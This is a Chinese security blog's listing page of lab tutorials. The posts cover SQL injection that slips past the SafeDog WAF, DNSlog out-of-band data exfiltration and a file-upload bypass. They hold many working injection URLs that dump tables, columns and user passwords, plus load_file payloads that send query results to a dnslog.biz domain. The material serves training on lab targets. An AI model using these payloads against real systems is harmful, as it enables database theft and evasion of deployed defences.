首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,828 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,158 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,392 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
13
篇与
的结果
2025-05-18
安全狗waf绕过-sql注入
安全狗WAF绕过系列一、WAF概述WAF(Web应用防火墙)作为一种专为Web应用程序设计的安全防护工具,其核心功能在于通过实施一系列针对HTTP/HTTPS协议的安全策略,来增强Web应用的安全性。WAF内置了精心设计的检测逻辑与规则集,这些规则旨在对每一个进入系统的请求内容进行细致审查,并对任何违反安全策略的请求采取即时且有效的防御措施,从而维护Web应用环境的纯净与安全。二、WAF工作机制详解WAF的工作流程精心构建,涵盖四个关键环节:预处理、规则匹配、响应处理以及日志记录,共同编织成一张紧密的安全防护网。 预处理阶段:此阶段,WAF首先担任起“守门人”的角色,对所有进入的数据请求流量进行初步筛选,确认其是否遵循HTTP/HTTPS协议标准。紧接着,WAF会利用预设的白名单机制,快速识别并放行那些已知安全或信任的URL请求,直接引导它们进入后端Web服务器进行处理。对于未能通过白名单验证的请求,WAF则进一步深入,对其数据包进行精细解析,为后续的安全检测做准备。 规则匹配阶段:此为核心环节,WAF利用其内置的强大规则引擎,对经过解析的数据包进行深度扫描与匹配。这些规则覆盖了广泛的攻击场景与模式,包括但不限于SQL注入、跨站脚本(XSS)、命令注入等常见Web安全威胁。通过这一过程,WAF能够精准识别出潜在的恶意请求,为后续的安全响应奠定坚实基础。 响应处理阶段:基于规则匹配的结果,WAF的响应处理模块将采取针对性的防御措施。对于符合安全规则的请求,WAF会毫无阻碍地将其转发至后端Web服务器,确保用户请求得到及时响应。而对于那些被判定为恶意或异常的请求,WAF则展现出其防御实力,通过阻断请求、记录日志或触发告警等多种方式,有效遏制潜在的安全风险,保护Web应用免受侵害。 三、常见的WAF绕过姿势常见的WAF(Web应用防火墙)绕过姿势包括但不限于以下几种: 提交方式变换:许多WAF默认配置下主要对GET请求进行过滤,而忽略POST请求、Cookie、HTTP头等其他提交方式。因此,可以尝试将攻击载荷通过不同的提交方式进行发送,以绕过WAF的检测。 大小写替换和编码绕过:利用WAF规则可能不区分大小写或无法完全解析编码后的攻击载荷,通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码,以绕过WAF的过滤规则。 事件函数变换:WAF会重点识别触发JavaScript代码执行的事件函数字段,如onclick。通过变换事件函数名称或利用其他不常见的事件函数,可以尝试绕过WAF的识别。 注释符和内联注释:使用SQL注释符(如--、#)或HTML/JavaScript注释(如<!-- -->、//)来绕过WAF对特定关键字的过滤。有时,将攻击载荷与注释符结合使用,可以欺骗WAF使其忽略部分攻击载荷。 分片传输:通过调整HTTP请求中的Content-Length头部,将攻击载荷分成多个部分发送,可能导致WAF无法完整解析请求内容,从而绕过检测。 利用WAF软肋:WAF在部署时可能因性能考虑而留下一些软肋,如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为,可能发现并利用这些软肋进行绕过。 爬虫白名单绕过:部分WAF提供爬虫白名单功能,通过伪装成爬虫(修改User-Agent或模拟爬虫行为)可能绕过WAF的检测。 高并发流量攻击:通过发送大量垃圾数据或高并发请求,使WAF设备进入Bypass IPS模式或达到性能极限,从而暂时或永久性地绕过WAF的防护。 请注意,上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为,可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前,请确保已获得合法授权。四、安全狗绕过姿势环境:phpstudy—apache2.4.39安全狗官网v4.0下载(应该是最新版):https://www.safedog.cn/website_safedog.html当然如果需要套件,我都给你准备好了关注后台回复【安全狗】即可获取,感谢宝子们一直以来的关注在开始之前,如果没有SQL注入基础的的童鞋,还请观看我的另外一篇文章,1w字超详细解析。以下内容皆使用sqli第一关进行测试测试 id=1' and 1=1http://192.168.209.131/Less-1/?id=-1' and 1=1在之前的尝试中,我们发现直接使用“and 1=1”这种方法似乎并不奏效,这很可能是因为安全狗系统识别并过滤了“and”这个词。为了更深入地了解安全狗是如何识别并拦截这类操作的,我们可以尝试将“and 1=1”进行拆分http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+ http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+发现两个页面均返回SQL语法错误,这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它可能是识别到‘and’后紧跟空格和字符的模式。为了验证这一点,我决定进行实验。http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+ http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+实验结果,证实了确实是and+空格+字符串的格式会被拦截。这里我们就可以开始尝试利用注释符、回车符%0a等来代替空格进行绕过了!!在此输入:http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+发现依旧不行,打开burp suite,拦截下我们阻截的包,添加$payload到我们测试的注释符中然后点击发送到intruder模块,选择如下:然后,点击pyload,选择暴力破解(Brute forcer):attack,开始攻击,安全狗有流量攻击的防御,后面可能会被拦截,解决办法直接重启apache服务器。好了这里测试完成了,点击length更改默认排序,我们拿每个请求成功payload(检查response即可查看是否成功,如果用户名正常显示,说明该字符payload安全狗没有进行拦截)。我们随便娶一个/!*得到payload和注释符拼接/*/!**/,这个时候and和后面的1=1之间用这个拼接的符号进行连接即可http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+可以绕过了order by测试,我们用之前的测试结果,利用/*/!**/这一个充当空格,测试order by 3,然后看看能否成功?http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+完美,接下来测试联合注入。普通测试union select:http://192.168.209.131/Less-1/?id=1' union select --+union关键字测试,有回显http://192.168.209.131/Less-1/?id=1' union --+select关键字测试,有回显http://192.168.209.131/Less-1/?id=1' select --+已知安全狗WAF对联合注入的拦截规则是识别到union select字符串。为了探索是否能利用注释符绕过这一规则,我决定采用与之前相同的方法,利用Burp进行抓包,并加强fuzz测试中的参数进行暴力破解尝试。随便选择几个1002长度的响应结果这里我们选择payload,取/!*!/,构造注释符+payload,为/*/!*!/*/,插入union和select之间,绕过成功http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+这里还有一个思路,可以利用--+%0a这种格式通过换行继续执行,这里我们试一下看看:Tips:我的另一篇SQL注入文章有写过%0a的作用,后台回复【SQL注入】【sql】等关键字即可查看http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+ 相当于在普通sql语句中的 http://192.168.5.64/Less-1/?id=-1' union/*!--+/* select 1,database(),3*/ --+尝试报数据库http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+发现database()被拦截了我们把database的()给去掉http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+报错,此时就可以确定,安全狗应该是将database()进行检测然后我们继续使用注释符或者内联注释符看看吧:继续采用burp的fuzz测试:添加上变量扫出来4个/可以用,最简单的和之前一样,就不强调了,取注释符+payload,构造payloadhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),3 --+成功了!接下来一个一个关键词测试,group_concat()http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) --+没有拦截,继续fromhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from --+informtion_schema.tables,结果就不行了http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from informtion_schema.tables --+测试%0ahttp://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/测试查当前数据库的表名,前面已经测试过database()了http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() --+爆字段,测试到and,table_name都没拦截http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name --+直到table_name后面加了个=http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name=%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name= --+那么开始fuzz测试爆破随便娶一个payload和注释符进行拼接,如下http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20table_name/*/***/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and table_name/*/***/="users" --+回车%0a的绕过方式http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and /*!-- /* table_name*/="users" --+爆数据,已知表名为users,字段为id,username,password,并设置每个字段的分隔符为-,separator '-'http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(id,username,password separator '-') from /*!-- /* users*/ --+这里使用的是sqli第12关有安全狗防火墙,数据包如下uname=123")%20and%20updatexml(0x3a,concat(0x3a,(select%20user()),0x3a),0x3a)#&passwd=123&submit=Submit进行分块传输(这里用到一个插件)联系作者即可获取(备注【分块插件】)编码请求体后注意最后两行需要空着,但凡少一行都会造成请求不成功少一行之后,响应失败脏数据构造大型数据包比如但是如果没有足够大的数据包,也是不能够进行绕过的,比如数据包中post无限制,get可能会进行限制hex编码这里没有复现案例,仅供参考前提:没有过滤掉0x例如select * from users where name="admin"总结通过本文的详细解析和实验,我们深入了解了SQL注入攻击的基本原理及其在实际应用中的变种和绕过技巧。在面对如安全狗这样的WAF防护时,攻击者并非束手无策,而是可以通过多种方式绕过检测规则,成功实施SQL注入攻击。本文首先通过基础的SQL注入测试,验证了安全狗WAF对“and 1=1”等简单SQL注入模式的识别能力。随后,通过拆分和注释符的使用,我们发现WAF可能是通过识别特定模式(如“and”后紧跟空格和字符)来拦截SQL注入的。基于此发现,我们进一步尝试利用注释符、换行符等技术手段绕过WAF的检测,成功实施了更复杂的SQL注入攻击,包括联合查询注入,获取数据库表名、列名以及具体数据等。通过本文的学习,我们不仅能够加深对SQL注入攻击的理解,还能够掌握一些实用的绕过WAF防护的技巧。然而,需要强调的是,这些技巧仅用于合法的安全测试和教育目的,任何未经授权的SQL注入攻击都是非法的,并可能带来严重的法律后果。因此,我们呼吁广大开发人员和安全从业者,应持续关注和提升Web应用的安全性,共同维护网络空间的安全与稳定。免责声明:本渗透教程仅供安全研究与教育目的使用。任何未经授权的网络活动均属非法。读者应确保拥有合法权限,并对自己的行为负责。教程内容不保证绝对安全或成功,使用风险自负。
2025年05月18日
487 阅读
0 评论
0 点赞
2025-05-18
sql注入之dnslog
DNSlog注入全解析DNSlog原理 DNS(Domain Name System):负责将域名转换为IP地址,以便浏览器能访问对应服务器上的服务。 DNSlog:即DNS的日志,记录了域名解析时的域名和解析IP的信息。 DNSlog外带原理:通过在高级域名中嵌入信息,利用DNS解析时留下的日志,将信息传递并读取,以获取请求信息。 DNSlog注入 关键函数:Load_file,用于读取文件并返回其内容为字符串。访问互联网文件时,需在最前面加上“//”。 使用前提: 存在注入点。 拥有root权限。 数据库具有读写权限,即secure_file_priv设置为空字符串。 具备请求URL的权限。 必须是Windows服务器环境。 复现过程D盘中写了个1.txt通过load_file函数,读取一下 select load_file('D:/1.txt')由于在通过load_file外带时是无法执行sql语句的,所以要通过concat函数,将执行的sql语句,与DNS请求的url进行拼接select concat('Sentiment','\',(select database()));这里我用的是dnslog.org,获取一个随机的dns域名接下来通过sqli第一关进行演示,通过你获取的随机dns域名DNSlog外带数据库信息,注意dns域名前面需要有个点,否则会导致外带不成功http://192.168.209.149/Less-1/?id=1' and load_file(concat('\\\',database(),'.eaf61aee.log.dnslog.biz./abc')) -- w此时dns解析记录就有了你靶机的数据库名称前缀外带表名?id=1' and load_file(concat('\\\',(select group_concat(table_name separator '-') from information_schema.tables where table_schema=database()),'.eaf61aee.log.dnslog.biz./abc')) -- w外带列名?id=1' and load_file(concat('\\\',(select group_concat(column_name separator '-') from information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w局限性通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性?id=1' and load_file(concat('\\\',(select hex(group_concat(column_name separator '_')) from information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w十六进制转字符网安学习不迷路,欢迎各位网络安全大佬进来交流学习
2025年05月18日
601 阅读
0 评论
0 点赞
2025-05-18
cisp-pte综合练习win2003
masscan扫描1.php能正常上传但是,文件内容过滤了大小写绕过,上传成功,没有对大小写进行过滤分析上传成功的文件名称名称由md5(文件全名+rand(1,1000))尝试访问这个文件发送到攻击器bp设置添加前缀图片名称进行hash添加后缀完整配置爆破查找跟目录有一个get it查看源代码
2025年05月18日
1,373 阅读
0 评论
0 点赞
1
2
3